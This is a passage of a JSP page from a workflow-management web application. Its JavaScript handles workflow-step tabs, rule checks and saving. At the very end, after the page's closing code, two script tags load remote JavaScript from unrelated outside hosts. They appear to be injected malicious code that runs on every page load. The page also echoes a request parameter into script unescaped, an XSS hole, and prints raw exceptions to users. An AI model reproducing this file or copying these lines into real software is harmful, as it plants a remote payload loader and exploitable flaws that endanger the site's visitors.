     }	 	
    }
          
    for (var i = 0; i < subject.options.length; i++) {
     if (subject.options[i].value == "R") {
     	 subject.options[i]=null;
     }
   } 
   }  
 // changeSubjectMenu
   changeSubjectMenu(frm);
   //disabled Assign At Runtime
   if (frm.assignActorType){
   	frm.assignActorType.disabled=true;
   }
   
   // disabled Filter By
   if (frm.filterBy){
   	frm.filterBy.disabled=true;
   }
   
   // Filter the Everyone for AutoTask 
   if (frm.allPermissionData.value  ){
     var arrayOfStr = frm.allPermissionData.value.split("\n");
     
     // if current user only Everyone that will be Filter
     
   	 if ((arrayOfStr.length==2) &&  (arrayOfStr[0].indexOf('Z')>-1)){
   			allPermissionAry=new Array();
    	}
   }
    drawPanel("permissionDiv");
   
   filterOtherPermissionForAutoTask(frm);
 }



function initStep(){
  showBlock("divFormSubmissionShow");
  hideBlock("divFormSubmissionHide");

  if(FindObj('formSubmission')){
    //showBlock('formSubmission');
  }
 
  setGeneralNotification();
 
}

function INIT(){
//var prePannel = null;
//var nextPannel = null;
  if(nextPannel==null){
  hideButton('nextButton',true);
  }else{
  hideButton('saveButton',true);
  }
  hideButton('preButton',true);
  
}

function initSpecialActor(frm){
  showBlock("basicTab");
  hideBlock('permissionTab');
  <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
  hideBlock("notificationTab");
  hideBlock("miscTab");
  <%}%>
  <%if (categoryID == Integer.parseInt(SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM)) {%>
  hideBlock("bindTab");
  <%}%>
 <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())
     	&& WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1))
     	&&"aSync".equals(maintWorkflowStepForm.getAutoTaskType())) {%>
	showBlock("autoTaskDelayLable");
	showBlock("autoTaskDelayText");
<%}%>
}

//added by nancy
function enablePageOr(){
 var loopBackOnEndStep = '<%=request.getParameter("loopBackOnEndStep")%>'; // for only display loopback operation.
 var frm;
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  if (loopBackOnEndStep == '<%=GlobalConstant.TRUE%>') {
    for (var i = 1; i < frm.insertStepType.length; i++) {
      frm.insertStepType[i].disabled = true;
    }
  }

  if(frm.insertStepType[0].checked==true){
    frm.loopBackStepID.disabled = false;
    disableAllNewStepInfo(frm, true);
  }
  if(frm.insertStepType[1].checked==true){
    frm.loopBackStepID.value= "";
    frm.loopBackStepID.disabled = true;
    disableAllNewStepInfo(frm, true);
  }
  if(frm.insertStepType[2].checked==true){
   frm.loopBackStepID.value= "";
   frm.loopBackStepID.disabled = true;
   disableAllNewStepInfo(frm, false);
  }

}
//end
//-->
	function checkRule(functionName){
	  var result = "";
	  var frm = document.maintWorkflowStepForm;
	  var rule = parseInt(frm.workflowRule.value);
    if(frm.workflowRule.value==""){
      alert("<bean:message key='workflow.label.rule_is_required'/>");
      return false;
    }else if (frm.workflowRule.value!="*" && (isNaN(rule)|| frm.workflowRule.value.indexOf(".") >=0 || rule<=0)) {
      alert("<bean:message key='workflow.label.rule_must_be_number'/>");
      return false;
    }
	  for (var i = 0; i < allPermissionAry.length; i++) {
	    for (var j = 0; j < allPermissionAry[i].length; j++) {
	      if (j == allPermissionAry[i].length - 1) {
	        result += allPermissionAry[i][j] + "\n";
	      } else {
	        result += allPermissionAry[i][j] + "\t";
	      }
	    }
	  }		
		WorkflowAjaxProcessor.checkWorkflowStepRule(functionName, result,document.forms['maintWorkflowStepForm'].workflowRule.value); 
	}
	function checkRuleResult(data){
		if(data.length!=0){
			checkRulerFail(data);
		}
	}
	
	function checkRuleResultThenSave(data){
		var frm = document.maintWorkflowStepForm;
		var actionType = frm.actionType ? frm.actionType.value.substring(0, 1) : '';
		var categoryID = frm.categoryID ? frm.categoryID.value : '';
		var insertStepType = '';
		if (frm.insertStepType) { // Found out the insert step type if exists.
			for (var i = 0; i < frm.insertStepType.length; i++) {
				var insertSTItem = frm.insertStepType[i];
				if (insertSTItem.checked) {
					insertStepType = insertSTItem.value;
					break;
				}
			}
		}

		var ignoreRuleCheck = actionType == '<%=WorkflowStep.ACTION_TYPE_END%>' // End step.
						|| actionType == '<%=WorkflowStep.ACTION_TYPE_FORM_DRIVEN%>' // Form diven step.
						|| actionType == '<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>' // Automatic step.
						|| (categoryID == '<%=SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT%>' && actionType == '<%=WorkflowStep.ACTION_TYPE_SUBMIT%>') // Sub interrupt flow's start step.
						|| insertStepType == '<%=WorkflowStep.INSERT_LOOPBACK_STEP%>' // Insert loopback step.
						|| insertStepType == '<%=WorkflowStep.INSERT_END_STEP%>'; // Insert end step.

		if (!ignoreRuleCheck) {
			if(data.length!=0){
				if (!checkRulerFail(data)) {
					return;
				}
			}
		}
		//bill.liu add for EIP-1897 start
		if(insertStepType == '<%=WorkflowStep.INSERT_LOOPBACK_STEP%>' ){
          alert('<bean:message key="workflow.label.move_all_step_after"/>');
		}
		//bill.liu add for EIP-1897 end
		OpCusSave();
	}
	function checkRuleResultThenSaveAndNew(data){
		if(data.length!=0){
			checkRulerFail(data);
		}
		else{
			OpSaveAndNew();
		}
	}
	
	function checkRulerFail(data){
	
		showTab("tab1",'miscTab',"");
		
		var goOn = confirm(' <bean:message key="errors.workflow.remind_special_user"/>');
		
		if (goOn) {
			return true;
		}
		//Bill add for EIP-2129
		showTab("tab1",'permissionTab',"");
		return false;
	}
</script>

<!-- Bind Tab DIV -->
<%if (categoryID == Integer.parseInt(SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM)) {%>
<div id="bindTab" class="tabContent">
<span class="altBar"><bean:message key="workflow.message.workflow_step_from_element"/>.</span>
<%@include file="IncludeBindingForm.jsp"%>
</div>
<%}%>

</layout:tabContainer>

<div class="bottomInfoArea" style="float:left;">
<layout:auditTrail formBeanName="maintWorkflowStepForm"/>
</div>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <html:searchButton id="preButton" onClick="doPre()" label="workflow.label.step_previous_step"/>
    <html:searchButton id="nextButton" onClick="doNext()" label="workflow.label.step_next_step"/>
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
		<html:permissionButton id="saveButton" right="I" objectType="W" objectID="<%=Integer.valueOf(maintWorkflowStepForm.getWorkflowGroupID())%>" label="common.label.complete" onClick="checkRule(checkRuleResultThenSave);"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintWorkflowStepForm.getOpMode())) {%>
    <%}%>
	<html:standardButton label="common.label.cancel" onClick="window.close()"/>
    </div>
</div>
</td>
</tr>
</table>

</html:form>

    <%
} catch(Exception e) {
  out.print(e);
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>